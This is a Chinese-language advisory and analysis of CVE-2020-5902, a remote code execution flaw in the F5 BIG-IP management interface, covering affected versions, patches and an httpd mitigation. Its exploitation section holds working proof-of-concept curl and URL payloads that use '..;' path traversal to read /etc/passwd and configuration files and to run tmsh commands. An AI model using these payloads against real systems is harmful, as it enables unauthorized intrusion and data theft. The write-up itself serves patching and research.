CVE-2020-5902: F5 BIG-IP Remote Code Execution Vulnerability
2024-04-21 02:15:06

0x01 漏洞简述

F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。

2020年07月03日, F5 发布了 F5 BIG-IP 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-5902,漏洞等级:严重

未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。

参考网上众多通告,总结此篇。

与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。

0x02 风险等级

官方给出的安全咨询状态

image-20200706135008771

该漏洞的评定结果如下

评定方式 等级
威胁等级 严重
影响面 广泛

0x03 漏洞详情

F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。

F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。

目前msf已经集成了该漏洞的利用。

未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。

0x04 利用方法

文件读取poc

1
2
3
4
5
6
7
8
9
curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

img

RCE poc

1
curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

img

复现建议

poc参考

image-20200706132918103

部署参考

image-20200706132933931

0x05 漏洞详情

F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。

目前msf已经集成了该漏洞的利用。

未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。

tmshCmd

tmshCmdservice方法处理请求的时候,对 command 参数进行处理。 命令需要满足两个条件:

  1. cmd.matches 返回 false
  2. isUserAuthorized 返回 false

img

看下第二个条件,只需要 RawRoleId 不为 0、20、100、510 即可。

img

然后调用 WorkspaceUtils.runTmshCommand(cmd, request); 方法执行命令,限制了执行delete,create,list,modify

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ("POST".equalsIgnoreCase(request.getMethod())) {
String[] cmdArray = command.split(" ");
String operation = cmdArray[0];
String module = cmdArray[2];
if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")) && WHITELISTED_TMSH_MODULES.contains(module)) {
try {
String[] args = new String[]{command};
Result result = Syscall.callElevated(Syscall.TMSH, args);
output = result.getOutput();
error = result.getError();
} catch (CallException var11) {
logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + var11.getMessage());
error = var11.getMessage();
}
} else {
error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
}

fileRead

fileReadservice方法处理请求的时候,对 fileName 参数进行处理。 文件读取需要满足两个条件:

  1. isFileWhitelisted 方法返回 false
  2. userCanAccessPartition 方法返回 false

img

调用 isFileWhitelisted 方法,检测请求的 fileName 是否在白名单里,如果不在,则返回false,不抛出错误。

img

继续调用 userCanAccessPartition 方法,检测 fileName 是否以 /var/sdm/plugin_store/plugins/ 开头,不是就返回false

img

接着就能调用 WorkspaceUtils.readFile(fileName); 方法,进行文件的读取。

img

0x06 影响版本

  • BIG-IP 15.x: 15.1.0/15.0.0
  • BIG-IP 14.x: 14.1.0 ~ 14.1.2
  • BIG-IP 13.x: 13.1.0 ~ 13.1.3
  • BIG-IP 12.x: 12.1.0 ~ 12.1.5
  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

0x07 修复建议

通用修补建议

升级到以下版本

  • BIG-IP 15.x: 15.1.0.4
  • BIG-IP 14.x: 14.1.2.6
  • BIG-IP 13.x: 13.1.3.4
  • BIG-IP 12.x: 12.1.5.2
  • BIG-IP 11.x: 11.6.5.2

临时修补建议

官方建议可以通过以下步骤临时缓解影响

image-20200706133159485

  1. 使用以下命令登录对应系统
1
tmsh
  1. 编辑 httpd 组件的配置文件
1
edit /sys httpd all-properties
  1. 文件内容如下
1
2
3
4
5
include '
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
'
  1. 按照如下操作保存文件
1
2
按下 ESC 并依次输入
:wq
  1. 执行命令刷新配置文件
1
save /sys config
  1. 重启 httpd 服务
1
restart sys service httpd

并禁止外部IP对 TMUI 页面的访问

0x08 参见

官方文档

360CERT

Budi Khoirudin@x4ce